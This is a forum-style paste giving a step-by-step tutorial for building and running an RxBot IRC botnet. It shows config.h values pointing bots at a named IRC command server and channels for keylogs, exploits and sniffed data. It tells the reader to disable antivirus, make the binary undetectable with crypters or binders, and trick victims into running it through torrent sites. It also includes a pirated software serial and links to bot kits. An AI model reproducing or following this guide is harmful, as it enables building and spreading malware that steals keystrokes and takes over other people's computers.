Advertisement
FederationHax

Botnet Tutorial (step by step)

Jun 11th, 2016
1,838
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.18 KB | None | 0 0
  1. Botnet Tutorial
  2. Warning:
  3. This guide will show you how to create your own botnet. Maintaining a botnet and getting caught can
  4. lead to jail time. The larger the botnet, the better chance that you will be caught. You have been
  5. warned.
  6. What is a botnet?
  7. http://www.hackforums.net/showthread.php?tid=92077
  8. Downloading and Preparing
  9. If you have Windows Vista or Windows 7:
  10. 1. Download VMware
  11. 2. Download a Windows XP ISO. Look on torrents or ask someone here on HackForums.
  12. 3. Install VMware and put in serial.
  13. 4. Open VMware and install with the default settings.
  14. 5. After VMware is done installing, go to File>New>Virtual Machine...
  15. 6. Find the .ISO of windows XP and load it.
  16. 7. Install Windows XP
  17. 8. After you finish installing XP, go to if you have “Windows XP”
  18. If you have Windows XP:
  19. What is required to compile your bot source:
  20.  Microsoft Visual C++ 6.0 (NOT the 2008 version!)
  21.  SDK
  22.  Service pack 6(Service pack 5 will do too)
  23.  RxBot 7.6 or any bot source
  24.  An IRC client. (In this case mIRC)
  25. I have everything you need in two downloads. Everything you need is right here.
  26. Downloads
  27. 1. Microsoft Visual C++
  28. http://www.mediafire.com/download.php?mtkmvqzjwwz
  29. 2. SDK, SP6, RxBot :
  30. http://www.mediafire.com/download.php?2gibdmiwwji
  31. 3. Tricked out mIRC:
  32. http://www.mediafire.com/download.php?mgvix0rlnmz
  33. Installing Software
  34. 1. First install Microsoft Visual C++ 6.0 (Serial: 812-2224558)
  35. Make sure to run the program first!
  36. 2. Install the SDK
  37. 3. Install the Service Pack 6:
  38.  Go to anyplace on your computer. I did mine where the Microsoft visual c++ was installed at.
  39.  Make a new folder. Name it whatever you like, as you can see, my folder is called Service Pack 6.
  40.  Now extract the service pack to the new folder. Then look inside your new folder and
  41. click setupsp6.
  42. You should have installed the service pack successfully!
  43. 4. Install mIRC or any mIRC client. Install mIRC 6.34 then Noscript. Trust me, looks more badass
  44. then the lame looking mIRC.
  45. 5. Congratulations! You have all everything needed to create your botnet.
  46. The Correct Directories:
  47. Your directories have to be the exact same as the picture
  48. 1. Open Microsoft Visual C++ 6.0
  49. 2. Go to Tools>options...
  50. 3. You should see 6 tabs. Click the tab that says Directories.
  51. 4. If you get errors, then your problem is probably right here. You’re smart. Match the picture. Your
  52. directories must be in this order!
  53. 5. You have to add the other directories. It shouldn’t look like this picture the very first time doing this.
  54. ADD THEM.
  55. Find your Botnet a home:
  56. Before we compile, this may be a task itself. As you may know, Botnet’s ARE ILLEGAL and the
  57. punishment could end up in jail time. Since they are illegal, almost ALL IRC servers prohibit Botnets.
  58. Some people just randomly find an IRC server and make a home there without the admin knowing.
  59. Some Servers you can do that. However, most cannot. If you get caught, they close your channel and kill
  60. all your bots. The way you get around this is to either…
  61. 1. Make your own IRC server
  62. 2. Find an Admin who is willing to allow botnets on his server.
  63. Option 1:
  64. This option is what many like to do. I have written an excellent tutorial on setting up an IRC server.
  65. http://www.hackforums.net/showthread.php?tid=145184
  66. Option 2:
  67. Option two is getting popular; many people on HF are selling server spots for an excellent price. Use the
  68. search option to find those fantastic deals.
  69. Option 3:
  70. Leech. What I mean is that you try to use a public IRC server and hope you don’t get caught. I promise
  71. you will get detected sooner or later. Getting detected means you lose your entire botnet.
  72. Once you think you have found an IRC server for your botnet, take note of these things
  73. 1. The IRC server name
  74. 2. The channel you want your bots to be at
  75. 3. The channel password you have or will set for your channel
  76. Double check to make sure you have the info written down correctly. You don’t want to mess up.
  77. Securing your Bots
  78. Anyone can do it. Stealing bots is really easy to do so make sure you have these options turned on.
  79. When you are in your IRC channel that you want your botnet set up, make sure you have the commands
  80. modes turned on in the channel
  81.  /Mode #channel +k IheartChrista
  82.  /Mode #channel +s
  83.  /mode #channel +t
  84. 1. Command 1 puts a password on the channel. Meaning, you can only get in if you know the pass.
  85. In this case, the pass is IheartChrista
  86. 2. Command 2 makes your channel secret. You don’t want random people coming in your channel
  87. do you?
  88. 3. Command 3 makes it only where Ops(admin of the channel) can set the topic. The topic is what
  89. the channel is about, but it can be used as a command prompt and can be used to control the
  90. bots.
  91. To put these commands in, just type it in the chat and press enter[/spoiler]
  92. Compiling the Bot
  93. Now this step is VERY important that you put in the correct information. You mess up here and you
  94. won’t be getting a bot. We are going to give the info to the bot so the bot will know where to go when it
  95. is installed.
  96. TURN OFF YOU ANTI-VIRUS!
  97. TURN OFF YOU ANTI-VIRUS!
  98. 1. Put the RxBot 7.6 folder somewhere easy to access
  99. 2. Open up Microsoft Visual C++ 6.0
  100. 3. Go to File>Open>Rxbot 7.6>Config.h
  101. 4. You should now see a configuration menu.
  102. Looks complicated doesn’t it? Don’t be worry about all this, there is only a few places you need
  103. to edit.
  104. Edit these spots:
  105. int port = 6667; // server port
  106. int port2 = 6667; // backup server port
  107. This is the port needed to get in the IRC server. If the server requires port 67 to be open, then change
  108. 6667 to 67. The default port is usually 6667-7000. Private IRC servers usually use different ports, makes
  109. it a bit harder to get in.
  110. char password[] = ""; // bot password
  111. char server[] = "aenigma.gotd.org"; // server
  112. char serverpass[] = ""; // server password
  113. char channel[] = "#Federation"; // channel that the bot should join
  114. char chanpass[] = ""; // channel password
  115. char server2[] = ""; // backup server (optional)
  116. char channel2[] = ""; // backup channel (optional)
  117. char chanpass2[] = ""; // backup channel password (optional)
  118. -
  119. -
  120. -
  121. char exploitchan[] = "#federation"; // Channel where exploit
  122. messages get redirected
  123. char keylogchan[] = "#federation"; // Channel where keylog
  124. messages get redirected
  125. char psniffchan[] = "#federation"; // Channel where psniff
  126. messages get redirected
  127. The lines still left up above are the only lines that need to be edited.
  128. 1. Bot password- This is VERY IMPORTANT!! This is the password that will make your bots actually
  129. listen to you. You need this password so your bots will take commands from you.
  130. 2. Server- Put the name of the IRC server there.
  131. 3. Server password- Most IRC servers are public. However, some requires a pass to get in the IRC
  132. server.
  133. 4. Channel- This is the IRC channel that you have chosen to use. Stick the channel here.
  134. 5. Channel Pass- This is the password that you put on the channel earlier. If you haven’t done so
  135. yet, go ahead and do that now.
  136. 6. char server2[] = "";- Backup IRC server
  137. 7. char channel2[] = "";- Backup channel
  138. 8. char chanpass2[] = "";- Backup channel pass
  139. 9. char exploitchan[] = Channel where it will show you the exploits
  140. 10. char keylogchan[] = Channel where it will show you the key log files
  141. 11. char psniffchan[] = Command doesn’t even work for RxBot. 7.6. But, this is the channel where
  142. the data comes in.
  143. Compile and build the bot
  144. 1. After editing the config.h just go to file>open Workspace>rBot.dsw
  145. 2. It should load a bunch of files on the left
  146. 3. Now go to build>build rBot.exe
  147. 4. If you didn’t get any errors, that’s it!! You have the virus constructed!
  148. 5. Go the the rxBot 7.6 folder and look inside. You should see a debug folder.
  149. 6. Look inside the debug folder and there she is. Rxbot.exe
  150. Test time
  151. WOOO!! Yay, your first "Real" virus. There is one more thing. You have to test it out and see if it
  152. connects to your IRC channel. You can do this a few ways.
  153. Infect yourself. Not bad, but if you don’t connect to the IRC channel, then you messed up and have to do
  154. an Antivirus Scan to get rid of the old RxBot.
  155.  You learned what a virtual machine was. Install another Os and infect that Virtual machine.
  156. RECOMMNDED!!
  157.  Be a dumb ass and start spreading. Not recommended
  158.  Give the .exe to a friend and ask to test to see if he connects.
  159. 1. Once you have connected to the IRC channel (as a bot of course) you need to put in the bot password.
  160. Type the command anywhere in the chat.
  161. .login XXXXXXXXXXXX
  162. 2. When your bots have recognized you then you can put in any of the commands. The commands came
  163. in the "Botnet supplies" download up in the first part of the tutorial. The XXXXXXXXX being your bot
  164. password that you entered in your config.h.
  165. Spreading time:
  166. Now, the question is, How do I get this rxbot.exe to another computer. The general steps
  167. 1. First you will need to make it FUD.
  168. FUD stands for Fully Undetected. It means, no AV (Anti- virus) can detect it.
  169. There are two ways to make it FUD. First is using a Cryptor. A cryptor just scrambles the code so the AV
  170. doesn’t think it is a virus. The second is using a binder. A Binder combines two softwares into one. For
  171. example, Virus A + Software B = Software C. Of course, when the person runs the software C, virus A will
  172. also run too. Look in the buyers section on Hackforums.net to see if you can buy a service or program to
  173. make your .exe FUD.
  174. 2. After you have made it FUD, you need to get people to run the program. The most popular are
  175. Torrent sites. Limewire, Mininova, Piratebay, etc. After that, that’s it! To get a bot into the IRC
  176. channel, the victim has to double click on the .exe. (The .exe in this case is RxBot)
  177. Important News, Discovery’s, and Answers:
  178. 1. Do not ask me to Team Viewer me. There are a lot of people who has done this correctly. A
  179. lot of people PM asking for help. Be a man and figure it out.
  180. 2. If you get an error when you compile, please read the comments before you post yours.
  181. Many of them have been answered throughout comments.
  182. 3. If you’re getting an error, have you turned off your anti-virus? The Permission denied error
  183. is caused by not turning off your AV.
  184. 4. The bot not connecting to your IRC channel? Check your config.h to
  185. make sure everything is set up correctly. If it is still not working, try a
  186. popular IRC server and test your bot there. Turn off your firewall. I
  187. promise you, this will work.
  188. 5. RxBot 7.6 is very stable!
  189. 6. RxBot will not work on any x64 computers. You can compile through VMware on an x64, but
  190. you cannot infect an x64.
  191. 7. VMware does not replace your current OS. It runs like a computer, but inside of your main
  192. OS. Try it out, you won’t be disappointed. Example:
  193. http://i275.photobucket.com/albums/jj314/legym/Untitled-14.jpg
  194. 8. MIRC is considered a virus. It’s a hoax. Scan if you want, don’t use if you are scared.
  195. 9. The reason I’m using mIRC 6.34 is because Noscript only works with 6.34, not with mIRC 6.5.
  196. 10. TURN YOUR DAMN ANTI VIRUS OFF
  197. 11. When you post your errors, put them in spoiler tags. [spoilers] [./spoiler]
  198. 12. If you’re connecting to your personal IRC server; please refer to that thread for help.
  199. 13. If the SDK or service pack isn’t not installing, Run Microsoft Visual C++
  200. my skype : yamod.gas
  201. contact me for more/help :)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement